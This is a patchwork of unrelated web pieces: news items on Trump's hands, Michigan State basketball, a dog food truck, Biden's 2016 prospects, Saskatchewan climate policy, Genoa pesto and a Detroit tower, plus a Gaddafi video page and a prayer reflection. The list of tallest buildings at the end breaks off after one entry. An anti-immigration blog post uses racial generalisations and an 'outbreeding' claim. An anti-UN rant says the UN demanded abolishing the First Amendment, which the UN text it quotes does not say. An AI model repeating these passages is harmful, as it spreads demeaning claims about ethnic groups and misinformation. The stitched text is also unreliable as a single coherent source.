Trump's hand size back into circulation, from funny tweets in March to the PAC today. Hastily-Arranged News Conference Just Excuse for Trump to Show Off New Hands pic.twitter.com/CNJxNpLQV0 — Daniel Lin (@DLin71) March 2, 2016 It might set Trump's mind to rest if it were more widely known that the connection between hand size and penis size is spurious at best. The connection has been studied twice, once finding only a weak correlation and once finding no relationship at all. But the feud over whether Trump is a "short-fingered vulgarian" has now lasted nearly 30 years. It would be a shame to stop it now. -This video is no longer available This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links: Video title: A Man Called Gaddafi: (His Life & Death) (Why Gaddafi had to die?) Upload date: April 4 2017 Uploaded by: americanpatriot Video description: Muammar Muhammad Abu Minyar al-Gaddafi (c. 1942 – 20 October 2011), commonly known as Colonel Gaddafi, was a Libyan revolutionary, politician, and political theorist. He governed Libya as Revolutionary Chairman of the Libyan Arab Republic from 1969 to 1977 and then as the "Brotherly Leader" of the Great Socialist People's Libyan Arab Jamahiriya from 1977 to 2011. Initially ideologically committed to Arab nationalism and Arab socialism, he came to rule according to his own Third International Theory before embracing Pan-Africanism. The son of an impoverished Bedouin goat herder, Gaddafi became involved in politics while at school in Sabha, subsequently enrolling in the Royal Military Academy, Benghazi. Founding a revolutionary cell within the military, in 1969 they seized power from the absolute monarchy of King Idris in a bloodless coup. Becoming Chairman of the governing Revolutionary Command Council (RCC), Gaddafi abolished the monarchy and proclaimed the Republic. Ruling by decree, he implemented measures to remove what he viewed as foreign imperialist influence from Libya, and strengthened ties to Arab nationalist governments. Intent on pushing Libya towards "Islamic socialism", he introduced sharia as the basis for the legal system and nationalized the oil industry, using the increased revenues to bolster the military, implement social programs and fund revolutionary militants across the world. In 1973 he initiated a "Popular Revolution" with the formation of General People's Committees (GPCs), purported to be a system of direct democracy, but retained personal control over major decisions. He outlined his Third International Theory that year, publishing these ideas in The Green Book. In 1977, Gaddafi dissolved the Republic and created a new socialist state, the Jamahiriya ("state of the masses"). Officially adopting a symbolic role in governance, he retained power as military commander-in-chief and head of the Revolutionary Committees responsible for policing and suppressing opponents. Overseeing unsuccessful border conflicts with Egypt and Chad, Gaddafi's support for foreign militants and alleged responsibility for the Lockerbie bombing led to Libya's label of "international pariah". A particularly hostile relationship developed with the United States and United Kingdom, resulting in the 1986 U.S. bombing of Libya and United Nations-imposed economic sanctions. Rejecting his earlier ideological commitments, from 1999 Gaddafi encouraged economic privatization and sought rapprochement with Western nations, also embracing Pan-Africanism and serving as Chairperson of the African Union from 2009–10. Amid the Arab Spring, in 2011 an anti-Gaddafist uprising led by the National Transitional Council (NTC) broke out, resulting in the Libyan Civil War. NATO intervened militarily on the side of the NTC, bringing about the government's downfall. Retreating to Sirte, Gaddafi was captured and killed by NTC militants. Gaddafi was a controversial and highly divisive world figure. Supporters lauded his anti-imperialist stance and his support for Pan-Africanism and Pan-Arabism, and he was decorated with various awards. Conversely, he was internationally condemned as a dictator and autocrat whose authoritarian administration violated the human rights of Libyan citizens, and supported irredentist movements, tribal warfare and terrorism in many other nations. Total views: 408 -That is the same thinking that got Europe into such deep trouble—the idea that one must welcome hordes of diversity in order to, what? still have enough people to buy cars or rent apartments, or require teachers—to fuel the economy. And, they pretty much say it in this article at a small town newspaper in Maine, to wipe our old white butts in nursing homes! Watch, I’ll be accused of being a white nationalist (oh wait! I already am labeled as such!) just for writing about this story. But, it isn’t me saying this, it is an immigration lawyer whose livelihood depends on more immigration just as a used car salesman looking for refugees to sell to (not disparaging used car salesmen!) does, or a nursing home owner who is trying to get workers at the cheapest hourly wage he can get! Here is the story from Maine. ‘Lawyer, employer encourage hiring more refugees‘ which reports that refugees are now being spread out further from the normal resettlement sites in Maine (thanks to Catholic Charities). “Why are we so old?” immigration attorney Jennifer Atkinson asked a small crowd gathered Nov. 16 for a talk about her work, hosted by the Camden Conference at Rockport Opera House. “Look around…” she said. “We’re white. We’re so old because we’re so white.” She put the area’s demographics bluntly, calling the Midcoast “a bastion of whiteness” within the oldest and whitest state in the country. [….] While some residents might be content with this, Atkinson said it doesn’t bode well for Maine’s economy or its future. When you read these next lines consider this: I’m white and old enough to remember when the pressure on all of us college grads was to have ONLY two children or risk killing the planet. Guess who didn’t listen to that—the rest of the brown world didn’t listen! Heck we have 9/11 mastermind KSM telling interrogators that they are going to take us over by outbreeding us! Statistically speaking, there is a correlation between whiteness, oldness and slow population growth. [….] Maine’s aging and decreasing population (the state had a net loss of 928 people last year) leads to cascading problems: low school enrollment, pressures on budgets, strains on services — especially health care — and declines in the working-age labor force. [928 doesn’t sound like a lot to me!—ed] [….] “To grow we have to be willing to become more racially diverse,” Atkinson said, “because that’s where the growth is, in non-white communities. “There’s always the option to reach out to refugees and asylum-seekers,” she added, fully disclosing that doing so would be good for her Friendship-based practice, but also would benefit employers and the community as a whole. Who is taking care of the old white people in nursing homes? I don’t have time to discuss the next section, but you should read it, here. It is about a nursing home owner who has figured out that he can hire refugee labor probably much cheaper than a Mainer. When making arguments about why they hire refugees they NEVER admit it is about the hourly wage. They could probably find Americans for this work if they paid a decent wage! But, that would mess up their bottomlines! (Your tax dollars subsidize the family’s needs when wages are too low.) LOL! Big business owners are always pretending they are doing God’s work by hiring refugees! Having had some experience with nursing homes in recent years, any one of you considering finding one for your elderly family member, especially one with some form of dementia, make sure that all those caring for your loved one (no matter their skin color) SPEAK ENGLISH WELL. It is hard enough for the mentally impaired as it is, and they need to be able to communicate well with a nursing aid. Something as benign seeming as a urinary tract infection can kill if not detected in time. Questions I want answered: Why is that Leftwingers are always pushing for more population growth (to fuel the economy) when they must know that growth of that sort will necessarily bring some degradation of the environment—more cars, more roads, more houses, more school construction, less open space, etc? I don’t get it! If there is some Open Borders Leftwinger who would like to explain it to me and our readers, I would very much welcome a guest column. And this too? Why all the yammering at whites to have only 2 kids, I don’t see any of you nagging the Arabs or the Africans to do the same thing. See our Maine archive by clicking here. -Michigan State coach Tom Izzo's Spartans are coming off their most spectacular and dominating win of the season, a 75-52 rout of rival Michigan, the best win Izzo said he's seen from his team in three years. (Photo11: Mike Carter, USA TODAY Sports) Story Highlights Izzo thinks people stopped talking about/thinking about the Spartans after the UConn loss Izzo says going through the Big Ten's top teams might be tougher than the NCAA tournament Izzo says Draymond Green is one of those great players that rarely comes along Each Friday leading up to the NCAA tournament, USA TODAY Sports' Nicole Auerbach catches up with a premier college basketball coach: EAST LANSING, Mich. – This week, Michigan State coach Tom Izzo is happy – or as happy as he can be when he says he still can't tell how good his team is. (Here's my hint: Pretty good.) Izzo's Spartans are coming off their most spectacular and dominating win of the season, a 75-52 rout of rival Michigan, the best win Izzo said he's seen from his team in three years. Once again, Michigan State is being touted as a Big Ten title contender (and is sitting atop the conference standings with Indiana at the moment) and a national championship contender, too. If there's one thing we've learned about college basketball this season, it's we should never count out a coach like Izzo and a balanced, talented team like the Spartans. Sitting in his office Thursday morning, Izzo caught up with USA TODAY Sports about his team flying under the radar for much of the season, the brutal Big Ten schedule and what every great college basketball team needs – a fantastic leader. Izzo on why people haven't been talking much about the Spartans until recently: BUBBLE TRACKER: Who's in and who's out We had some question marks coming in. You have to remember the (Branden) Dawson (torn ACL). He didn't start shooting the ball again until September, so that's seven months. Most people say you aren't any good until the year after. Adrian Peterson kind of screwed up that theory. That was a key thing. Our point guard – would he come into his own? He was a 2 guard playing the point. Would he grow? We had a couple of freshmen we knew we'd have to rely on, especially (Denzel) Valentine and (Gary) Harris. Those are unknowns. That, along with you take Michigan – they had (Trey) Burke and (Tim) Hardaway coming back. They had some things to plug, too, but usually a team is going to have a chance to go far with its guards. It's like if you have a great quarterback, you're going to have a better chance to go somewhere. Usually, most years, we lose a couple of games early and we go from top five, top seven, top 12 to 20th and we're kind of off the radar. Most of the time, we play a schedule that's different than most people. This year, we lose to UConn and lose at Miami before Miami's anything. MAILBAG: Duke-UNC, Izzo and more Izzo on the challenge of Michigan State's upcoming Big Ten schedule: (In a 17-day stretch starting Feb. 19), ours is Indiana here, at Ohio State, at Michigan and Wisconsin here. That's concentrated. If you threw something in there, like Penn State, then you at least have some breathing room. You have to get up for every game. That's harder than the NCAA tournament. In the NCAA tournament, there's more space in between. We just came off three games in six days. When you're traveling and going to school, that's hard. When everybody tries to compare these conferences, there is no comparison. I've been in this 30 years. There's no comparison to what the top teams in our league are going through. Izzo on the importance of great leadership, like he had in recent years with Draymond Green: He is rare. You know what happens with rare guys? You go to Final Fours. … That was another Jud (Heathcote) line when we won the national championship. He calls me four days later, and he always tells me I work too much. … He says, 'Take some time off. You better enjoy this.' I said, 'Yeah, I'll enjoy it.' He says, 'You really better enjoy it.' He says, 'You don't understand, this comes around every 20 years.' I say, 'Oh, I have to wait 20 more years to get to a Final Four, this or that?' Nope, he says, having that kind of leader. It was Magic (Johnson). It was Mateen (Cleaves). ... Thirteen years later, Draymond came around, and he's not far off. That's what's missing at a lot of programs. (Izzo then mentioned Indiana's Victor Oladipo and Michigan's Trey Burke and Tim Hardaway Jr. as guys, like Draymond Green, who weren't really, really hyped or highly rated coming out of high school but have developed into their teams' leaders. He also discussed how programs like Duke, UNC and Kansas have talented upperclassmen who could have gone pro stay, and then they in turn teach underclassmen how to grow into leaders. Interesting stuff about what makes these teams successful.) -Competition to feed humans has grown difficult enough that a Seattle couple, Dawn and Ben Ford, opened a food truck for humanity's best friend. Via Life with Dogs: The popularity of food trucks in the United States has exploded recently, and in almost every major city there are a few that specialize in a particular style or flavor profile. This is great because it gives people options to eat foods that they may not have before. This is great for humans, but what about dogs? Is there a food truck for them somewhere? In Washington, the answer is YES! The Seattle Barkery is a new mobile café for dogs. Everything they make and serve is aimed towards giving dogs a similar freedom of choice like we as humans have. For their furry, four legged customers, they have everything from bacon cupcakes and peanut butter pumpkin pretzels, to chicken feet and duck necks. -Another day, another batch of mostly redundant and anonymously sourced stories about whether Vice President Joe Biden will run for president. Some of those stories, however, are getting ridiculous. So FiveThirtyEight’s politics writers met in Slack to pick over the latest Biden coverage, our own assumptions and the state of the 2016 Democratic primary. This is an edited transcript of the conversation. micah (Micah Cohen, senior editor): So, the will he/won’t he speculation about Joe Biden hasn’t slowed down, but do either of you buy the argument that a Biden run could actually help Hillary Clinton? hjenten-heynawl (Harry Enten, senior political writer): I don’t think it would be particularly helpful to Clinton. Forget about all the BS about whether Clinton runs better when she’s in trouble. Personally, I never got that. If she were so good at running when she was in trouble, then why did she lose in 2008? Rather, why would Biden run? Sure, he’s in his 70s and this is his last shot, but he also has a family to take care of. He’d likely only run if he concludes he has a better than nominal chance of winning. And that conclusion would be quite different from what the current metrics, such as endorsements, suggest. Biden may have an insight on the invisible primary that isn’t visible to the rest of us. natesilver (Nate Silver, editor in chief): The irony is that the media has exaggerated all sorts of threats to Clinton, who remains in good shape for the nomination. But then you have the one thing that would be a tangibly bad sign for her campaign — the vice president of the United States running for the nomination against her! — and there are lots of “smart takes” about how it could help Clinton. hjenten-heynawl: What we’ve argued this entire time is that Sen. Bernie Sanders has a weakness among the party actors (i.e., he doesn’t have any endorsements), and that he has no longtime connections to the Democratic Party (remember, he’s not a Democrat). Biden, on the other hand, has been in major federal office in Washington since 1973. He’s someone who could conceivably reach out to all members of the party. He’s already polling better among African-Americans than Sanders, for instance. micah: Let’s break this down a little: Both of you seem to think Biden entering the race is inherently bad for Clinton — he’d be the most serious competition for the nomination she’s faced. But would there be a couple side benefits, like that by giving the media a horse race to cover, there would be less focus on Clinton’s scandals? natesilver: Well, first of all, it’s not just that Biden would be a more formidable competitor to Clinton than Sanders. I don’t know that Biden would be all that great a candidate, in fact. But Biden running would signal that concern about Clinton among Democratic Party elites had gone from the bedwetting stage to something more serious. micah: Is bedwetting not serious? hjenten-heynawl: I mean, it depends how old you are. natesilver: But the other big problem (as we and others have pointed out before) is that Biden doesn’t have much rationale to run other than if Clinton has “trust”/scandal problems. He might never come out and say it, but that would be the whole basis for his campaign. They don’t really differ in any meaningful way on policy. micah: But your logic seems circular: “Biden will only enter the race if Clinton is in big trouble, and therefore if Biden enters the race it means Clinton is in trouble.” What if all the party actors are telling Biden that he shouldn’t run, that they’re backing Clinton, and Biden just wants to run? It’s his last chance. And he enters the race. natesilver: What I’m saying is that there’s a lot of information we’re not privy to, about what Democratic elites are thinking. Sure, there’s some reporting on it, but a lot of that reporting needs to be looked at skeptically — like because it relies on anonymous sourcing, or cherry-picked information from a media that would like to make the race seem competitive. The one tangible sign we have about what Democratic elites are thinking — endorsements — looks really good for Clinton. But Biden running would be a tangible sign too. Contra Maureen Dowd or whatever, this isn’t necessarily a personal decision for Biden, or at least not entirely one. He’s a party guy. He’s the vice president. He’s not likely to run unless he thinks it’s in Democrats’ best interest. hjenten-heynawl: Endorsements are merely a proxy for intra-party support. And proxies are wrong from time to time. They’re imperfect. And I don’t buy Biden is desperate to run. He reportedly indicated this week in a phone call with Democratic National Committee members that he and his family are grieving. The man lost his best friend and son. He wants to be there for his family. If I lost my father (my best friend), I don’t take off running for president just because I feel like it. I run because I think I can help my party, and because I think I can win. natesilver: Right. It’s possible that Biden assesses the problem and miscalculates. But running for president would be a calculated decision on his behalf. And, by the way, if you read the reporting on Biden carefully, it suggests that the decision is very, very calculated. He’s taking as long as possible to decide whether to enter — and at a time when it’s already pretty darn late to begin a campaign — because he wants to collect more information on whether Clinton’s in trouble or not. hjenten-heynawl: BINGO. He’s meeting with a ton of people who represent different wings of the party, such as Sen. Elizabeth Warren and Richard Trumka (head of the AFL-CIO). He’s doing that, one would think, because he wants to understand what they are seeing. What are their people, their constituents, telling them. micah: OK, so let’s say Biden gets in. The night before he announces, he’s sitting with his family and some advisers and they’re talking about why they can beat Clinton (based on everything they hear during these weeks of meetings). What are they saying? Does it all come down to email/scandal? Or would they be pointing to something else in the Clinton campaign or electorate? (I want data.) natesilver: If you want data, and Biden’s camp is looking at the same data, then they shouldn’t be running in the first place. Unless they think the scandal will be Clinton’s undoing. Clinton remains extremely popular with Democrats, and that popularity is pretty broad-based. White liberals might not like her as much as white moderates, Hispanics, or African-Americans, but as we’ve argued before, their support for Sanders is more an indication that they like him than that they dislike Clinton. Some of the reporting around what Biden’s coalition would be doesn’t make any sense. See, for example, from Politico: Biden’s circle has identified what they see as their potential voting blocs: Reagan Democrats, Jews, an LGBT base that largely credits him with pushing President Barack Obama into supporting gay marriage, and Rust Belt voters. They believe he’ll benefit from better stump skills than any of the other candidates running. There’s no evidence that any of these groups are weaknesses for Clinton. Nor are they all that large, nor do they have very much in common. micah: What about the Quinnipiac poll out this week showing Biden running better than Clinton against Republicans in general election matchups? And that voters don’t think Clinton is trustworthy or honest? natesilver: I don’t think you can compare a declared candidate in Clinton — who’s been getting a ton of scrutiny from the press, some deserved and some not — against a hypothetical candidate who has a halo around him because the press would love to see a huge fight for the nomination. Over the long run, Clinton’s favorability numbers have been no worse than Biden’s. Often a little better. hjenten-heynawl: General election polls of candidates who aren’t running in the primary are ridiculous. Once he enters, all of Biden’s faults will be put on the table. And there are a lot to play with. If there weren’t, he’d have done better when he ran in past elections. micah: From the WSJ writeup of the Quinnipiac poll: The Quinnipiac poll found that 51% of voters have an unfavorable impression of her, her worst score ever on that measure. The poll also found that 61% of voters say she is not honest and trustworthy, another record low. On the honest and trustworthy question, that is up from 57% in a July Quinnipiac poll. natesilver: Here’s the problem, Micah. Lots of people, political reporters especially, believe in momentum. If something goes from 50 to 45 percent, they assume it will keep going down, until it hits 40, 35, etc. But empirically, the opposite is closer to being true. At least when it comes to polling. If something goes from 50 to 45, it’s more likely to bounce back to 50 than to continue declining. Mean-reversion tends to be stronger than momentum. At least over the long term — the short term is sometimes a different story. But it’s the long term we should be concerned with, given that it’s still only August. The Clinton who has a 42 percent favorability rating today isn’t really all that different than the one who had, I dunno, a 52 percent favorability rating at the start of the campaign, or a 48 percent favorability rating when she was running in 2008, or whatever. She is different than Clinton as secretary of state or first lady, because those are closer to being nonpartisan positions. So she can’t expect to see those numbers again, at least not while she’s a presidential candidate. But the odds are that her favorability ratings would revert to the mean by Election Day next year, which in her case means about 50/50. hjenten-heynawl: Remember when there was talk about whether Chris Christie would get into the 2012 race? Or whether Fred Thompson would get into the 2008 race? Or Wesley Clark into the 2004 race? Those guys were tied or leading in the primary polling at the time. Biden’s best percentage so far has been 18 percent. He’s down nearly 30 percentage points to Clinton. Clinton is still in a ridiculously strong position. natesilver: Yeah, I saw some article that offhandedly asserted Biden was polling exceptionally well given that he wasn’t in the race yet. Polling at 12 percent or 15 percent or 18 percent among members of his own party doesn’t seem that great to me for a guy who is vice president of the United States. hjenten-heynawl: But we don’t have all the information. We believe Clinton is strong based on polling, money and support from party actors. If Biden were to enter, though, it says to us that he has a piece of information that we aren’t privy to. And this information is that Clinton is weak — for whatever reason. If he doesn’t enter, it’s a confirmation that she is strong within the party. natesilver: Part of this is looking for verifiable evidence in an environment where the media has an interest in overrating how competitive the Democratic race is. By most objective measures, Clinton is doing really well in the nomination hunt. About as well as any non-incumbent candidate has been doing up to this point in time. So, on the one hand, we look at that data and it makes us skeptical that Biden will convince himself to run. On the other hand, it means we have more reassessment to do if Biden in fact does run. micah: OK, let’s say Biden gets in. How does he win? Does he come in guns blazing on email and trustworthiness? Does he claim the Obama mantle? natesilver: How does he run or how does he win? I’d guess that his messaging would be rather cryptic at first. Because the way he wins is basically if Democrats decide that Clinton is too much of a liability because of her scandals. But Biden doesn’t want to come right out and say that. Debating Clinton on policy is also awkward, though, given that they have few real differences. And that, to the extent they do, one of them is going to be criticizing the Obama administration’s policy, which is an odd look for an incumbent party trying to win another term in office. hjenten-heynawl: Let’s start with this: Clinton must perform disappointingly in the Iowa caucuses. If Clinton wins in Iowa by a convincing margin, this thing is going to take off. I don’t know how Clinton loses in Iowa, necessarily, but that’s where it needs to begin. Biden cannot wait until later states to take her on. Her money and momentum will be too great. So it’s Iowa or bust. Now, it could be that Sanders comes close in Iowa — it doesn’t have to be Biden, but he’s gotta do reasonably well. natesilver: Yeah, I agree. I mean, one way Biden wins is if there’s some new scandal (or some new wrinkle to the email scandal) that’s so bad Clinton drops out. That’s sort of obvious, I suppose. Short of that, it might come down to the timing. Say there’s some bad news for Clinton that drops a couple of weeks before Iowa. Iowa is taken as a referendum on her campaign, and she fails that referendum. micah: And what happens to #feelthebern if Biden jumps in? hjenten-heynawl: I think he continues on the path it was on. He’ll continue to get white liberals and that’s about it. I guess you could argue one way or another whether this slightly boosts his odds, but I think it doesn’t help him. If anything it could steal attention away from him as the anti-Clinton. natesilver: Yeah, I don’t think Sanders’s support will be affected that much. At the margin, it might make it easier for him to win the plurality in a caucus state here or there. But Bernie will keep on Bernin’. What I don’t think we’re likely to see is a case where the Clinton-Biden fight drags out for months and months, and then we’re all doing a bunch of delegate math, involving Clinton and Biden and Sanders, in May. As Harry said earlier, a Biden candidacy would either gain traction or collapse pretty quickly based on how it did in Iowa and New Hampshire. hjenten-heynawl: Support for an anti-Clinton is either there or not. micah: So on our initial question — “Could a Biden run help Hillary Clinton?” — we think the answer is: “No. And also, it probably wouldn’t affect Sanders much either.” Is that right? natesilver: A Biden run would be the worst news Clinton has had so far in the campaign. She’d still probably be the favorite, however. Read More: Joe Biden Made the Right Call -REGINA — The Saskatchewan government has introduced a climate-change strategy that inches toward a price on carbon emissions, but leaves large parts of its economy untouched. And it doesn't include a carbon tax, which Environment Minister Dustin Duncan was happy to point out Monday. "I believe it will achieve as much, if not more than, a carbon tax ever would," Duncan said after introducing the plan. It calls for performance standards on facilities that emit more than 25,000 tonnes annually of carbon dioxide equivalent. Facilities that exceed their limit will have to pay. I believe it will achieve as much, if not more than, a carbon tax ever would. Dustin Duncan They will be able to buy carbon offsets from farmers or foresters, a carbon credit from another company with emissions under its allotment or pay into a provincial fund. The standards are to be developed next year, Duncan said. "We want to see the economy continue to grow and, for some industries, that means that their emissions will grow. It's not a cap-and-trade program where we're capping absolutely the amount of emissions." Duncan said standards will recognize investments companies have already made to reduce their emissions, something the energy industry has been lobbying for. No goals or targets The document contains no goals or targets and doesn't include estimates of how much greenhouse gas emissions are expected to be reduced. There is an undated pledge to have SaskPower, a Crown-owned utility, generate half its electricity from renewables. "They're going to great pains to say they're not doing carbon pricing and then implementing a policy which, everywhere else it's implemented, is called carbon pricing," said University of Alberta energy economist Andrew Leach. The biggest hole in Saskatchewan's plan is its limited scope, said Leach. "They're not touching their transportation, home heating, commercial and industrial energy use at all with this policy." Alberta, British Columbia, Ontario and Quebec all have more inclusive plans, he said. Leach also noted the government hasn't specified how high the emissions standards will be. Too high, he said, and carbon becomes worthless and few emissions will be cut. Chris Wattie/Reuters Environment Minister Catherine McKenna takes part in a news conference in Ottawa on Dec. 9, 2016. Federal Environment Minister Catherine McKenna said the plan is a good step toward carbon pricing. "Saskatchewan's new plan proposes a performance standard for heavy industry that includes a carbon market. Momentum for carbon pricing is growing." But she said it will have to be wider to satisfy Ottawa. "Based on what's in today's plan, Saskatchewan's price likely wouldn't hit our standard, because it applies only to heavy industry instead of being economy-wide." Brad Herald of the Canadian Association of Petroleum Producers welcomed Saskatchewan's plan. Based on what's in today's plan, Saskatchewan's price likely wouldn't hit our standard. Catherine McKenna "There's a great range of compliance options for us there." He declined to say whether Saskatchewan's plan is more favourable to industry than Alberta's, which includes a carbon tax. "Both are legitimate," he said. The Agricultural Producers of Saskatchewan also praised the plan. It leaves agriculture, the source of about one-quarter of the province's emissions, largely exempt. "We also strongly reject the imposition of a carbon tax on our sector," said association president Todd Lewis. 'They are last to the party' Erin Flanagan of the Pembina Institute, a clean energy think-tank, said Saskatchewan's plan is an improvement over previous positions. "It's still not a credible approach to climate change," she said. "They are last to the party, but it's good they are moving forward with some pieces of an approach." Flanagan said it's tough to know how much difference the plan will make. "The fact they haven't said what these (carbon) prices will be makes it difficult to know what kind of impact this is going to have. Saskatchewan doesn't have an economy-wide (reduction) target. Saskatchewan has remained opposed to the federal government's insistence that all provinces must have a price on carbon in place by 2018. Duncan said Monday's plan doesn't change that. "We're prepared to defend our position. If that means go to court, so be it." Previously On HuffPost: -I’m still trying to find my place as a pray-er among the residents at the women’s care facility. As an introvert and hermit, and with what little social skills I possess, the challenge is large. I had been given a list of names of the women who are Catholic and ambled to each room to introduce myself. Awkwardly I’d pause to greet those in the corridors and sitting areas. In the first room, the woman sat on the side of her bed, a wheeled oxygen tank between her knees and tubes under her nose. She was confused by my presence but not my purpose, and accepted my offer to pray with her. She’d scurried to the administrator’s office when I left her room. I learned later she had asked if I were real—and convinced that I was—asked if I would come again. My next stop was with a very joyous developmentally-impaired woman. I’m not a touchy-feely kind of person and found her advances to hug and touch off-putting. I struggled to hold my ground against the urge to back away. She could not understand that I was offering prayer, telling me instead of her upcoming birthday and of many other happy things. I knocked on two more doors, shamefully relieved that there were no responses, and headed upstairs. In the stairwell I stopped, overwhelmed. I was ill-prepared for the emotions that flooded my heart. I was upset because of the confusion I felt in the presence of these women, and questioned if I lacked genuine love in my actions. I wanted to feel that my presence gave validation to Jesus’ love, and to feel pleasing to our Lord. I felt none of this. What I felt was the little love I had was barely enough to keep me moving to the next floor, let alone sufficient to be a presence to these ladies. Leaning against the banister I steadied my resolve to follow the promptings of the Holy Spirit felt months ago. I prayed for those I had just encountered and for perseverance and the confidence to move on. Later at home in my oratory I thought about my shortcomings of truly being the hands of Christ. I felt that the spiritual food I had to offer was not enough for the enormity of the summons set before me. As I sat in silence, the story of Jesus feeding the 5,000—more than that counting women and children—came to mind. When I read the Bible passages (Mt 14:13-16, Mk 6:30-37, Jn 6:1-13) something struck me. Consistent in all three, Jesus did not say to the apostles that he would feed them—he said you feed them. The apostles begged Jesus, for the good of all, to quickly send them away. There were too many in need for only a dozen hands to feed. Jesus knew that with what little they possessed there was enough for him to work with. He didn’t change the venue of the challenge; he multiplied the bits and pieces that they had to meet the need at hand. I only have a small amount to share—of confidence, courage, and love. But in the hands of Jesus, what little I have is multiplied enough to feed those standing beside me, and he gives me enough for another day. There’s a miracle in here, somewhere. I’m just too startled to see it. -Italian airport is letting travellers take as much as 500g of the sauce in their carry-on luggage, exempting them from the 100ml rule for liquids The Italian port city of Genoa has taken pride in its famed pesto sauce to new heights by granting special airport waivers for those who can’t get enough of the basil and pine nut pasta sauce. Trevi levy: Rome imposes fines for frolicking at famous fountains Read more Genoa’s airport is letting travellers take as much as 500g of pesto in their carry-on luggage, exempting them from the 100ml rule for liquids in carry-on baggage. The catch: passengers must make a donation of 50 cents or more to a charity that airlifts sick children to hospitals. The airport said this week that €500 had been raised in the first 20 days of the initiative, which was inspired by the anguish of so many foodies having their pesto confiscated when trying to get through security. -The United Nations doesn’t really give a shit that most of the rest of the world suppresses freedom and violates human rights. No, they are more concerned with what’s going on in the most free and most civil country on the planet. In their newest most ridiculous demand, the UN is warning the United States that we must abolish the 1st Amendment right to free speech to combat white supremacy, or else. I think I speak for all Americans on all sides of every issue when I say the UN can go f*ck itself. The UN threw The UN threw this shit out there in response to Charlottesville:  The UN Committee on the Elimination of Racial Discrimination (CERD) has called on the Government of the United States of America, as well as high-level politicians and public officials, to unequivocally and unconditionally reject and condemn racist hate speech and crimes in Charlottesville and throughout the country. In a decision issued under its ‘early warning and urgent action’ procedure, the Committee — which monitors implementation of the International Convention on the Elimination of All Forms of Racial Discrimination* — stated “there should be no place in the world for racist white supremacist ideas or any similar ideologies that reject the core human rights principles of human dignity and equality.” Early warning and urgent action procedure? This peculiar wording makes me think that if we don’t comply, the UN is going to issue some kind of sanctions against the US. I double-dog dare them to do this. I’m almost certain President Trump will react by pulling all funding to the UN and as I’m sure they know, we pay most of their bills. “We are alarmed by the racist demonstrations, with overtly racist slogans, chants and salutes by white nationalists, neo-Nazis, and the Ku Klux Klan, promoting white supremacy and inciting racial discrimination and hatred”, said UN nitwit Anastasia Crickley. Gosh, what about the daily radical Islamic acts of terror around the globe? Don’t those cowardly acts of violence that result in the deaths of hundreds of innocent people seem like a bigger concern? Apparently not. The death of one person in an isolated incident in the US is a way bigger deal. “We call on the US Government to investigate thoroughly the phenomenon of racial discrimination targeting, in particular, people of African descent, ethnic or ethno-religious minorities, and migrants,” said Crinkly. In case this isn’t crazy enough for you, check this out:  Acting under its early warning procedure, CERD also called on the US to ensure that the rights to freedom of expression, association and peaceful assembly are not exercised with the aim of destroying or denying the rights and freedoms of others. It also asked US to provide the necessary guarantees so that such rights are not misused to promote racist hate speech and racist crimes. The UN wants America to get rid of the 1st Amendment rights of free speech and assembly to address white supremacy, which is only an issue with hysterical liberals. I guess they don’t quite get how freedom works or that unpopular speech is exactly the kind of speech that the 1st Amendment protects. A better idea would be for the UN to condemn 99% of the rest of the world that has some kind of free speech restrictions. In half the countries having a opinion is a jailable offense and in the other half speaking one’s mind is a death sentence. Putting up with a handful of racist knuckleheads is a small price to pay for liberty. America’s freedom is the least pressing issue facing the globe. -Bedrock presented preliminary design and plans for the site of the former J.L. Hudson’s Department Store Wednesday, February 22, 2017, at a meeting of the DDA (Photo: Bedrock Detroit) In an era of a downtown Detroit renaissance, plans for the tallest building in the city were unveiled Wednesday. The building is part of an estimated $775 million development proposed by an entity linked to billionaire Dan Gilbert. The project for the empty Woodward Avenue block where the J.L. Hudson department store once stood is one of the most expensive and ambitious plans introduced in a decade that has seen many blockbuster deals. The shimmering, futuristic 734-foot tower aims to be a centerpiece for the city and state, officials for Gilbert’s Bedrock Detroit said as they rolled out the proposed project to the board of the Downtown Development Authority. That’s one of the city agencies that would need to approve the deal. The tower would have 250 residential units and 700-plus underground parking spaces. A connected nine-story base structure would house retail, office, technology and arts and culture space. The development looks like nothing in Detroit now, with a glass and steel exterior that sweeps upward. Bedrock officials showed images of Smithsonian exhibits and TED Talks as examples of the kind of events that could be held in conference and exhibit space. There were images of a market and hip retailers in the floor beneath street level. The mixed-use development would have 1.2 million square feet of space. “We believe this project is so unique that it can help put Detroit back on the national, and even global, map for world-class architecture, talent attraction, technology innovation and job creation,” Gilbert said in a written statement Wednesday. The DDA board quickly approved a new time frame for the yet-unnamed development. An entity linked to Gilbert has had development rights for the former Hudson’s site since 2010; the DDA has granted extensions for the project several times. Early designs released in 2015 showed a swooping glass-and-metal structure. If things go as intended — and it’s too soon to tell — the new schedule would see construction start in December of this year and be finished by the end of 2020. A spokesman for Mayor Mike Duggan did not respond to an email asking for comment on Wednesday’s announcement. Plans for the project could change because Gilbert is counting on tax breaks that don’t yet exist to make the financing work on the project. Those potential tax incentives are currently in the state Legislature. On Wednesday, the package of bills was approved by the state Senate and the bills now go to the state House of Representatives. Last year, similar legislation died in the House. If the tax incentives are not passed, “It certainly will impact what happens,”said Joe Guziewicz, vice president of construction for Bedrock Detroit. “We would end up coming back to the DDA with revised renderings and a revised timeline,” for the project, he said. Beyond the tax incentives, it’s unknown whether other tax breaks may be sought for the development. Entities linked to Gilbert and Bedrock Detroit are major forces downtown, controlling more than 90 properties, which amounts to a $2 billion-plus investment. The proposed tower would make the structure Detroit’s tallest — by 7 feet. The 70-story center tower of the General Motors Renaissance Center stands 727 feet tall. The development plans were designed by SHoP Architects of New York in conjunction with Detroit-based Hamilton Anderson Associates. For decades, the Hudson’s store was the jewel of a bustling downtown filled with stores, offices and people. The store was demolished in 1998 and the site has been empty ever since, serving as a reminder of Detroit’s decades-long decline. The scope of the Hudson’s development was praised by John Mogk, a Wayne State University law professor who follows downtown development. “Hudson’s was a magical place that was really the catalyst for the downtown. This could be that, too. The Renaissance Center failed to do that.” The estimated $775 million price tag rivals the cost of Little Caesars Arena, the still-under-construction venue that will be the home ice to the Detroit Red Wings. The current estimate for the arena is $732.6 million, but that will increase if the arena also becomes home to the Detroit Pistons, which would result in millions of dollars in modifications to the venue. laguilar@detroitnews.com Twitter: @LouisAguilar_DN Higher ground These are the tallest buildings in Detroit. The planned building on the Hudson’s site — at 734 feet and 52 floors— would eclipse them all. 1. The Detroit Marriot at the Renaissance Center: 727 feet 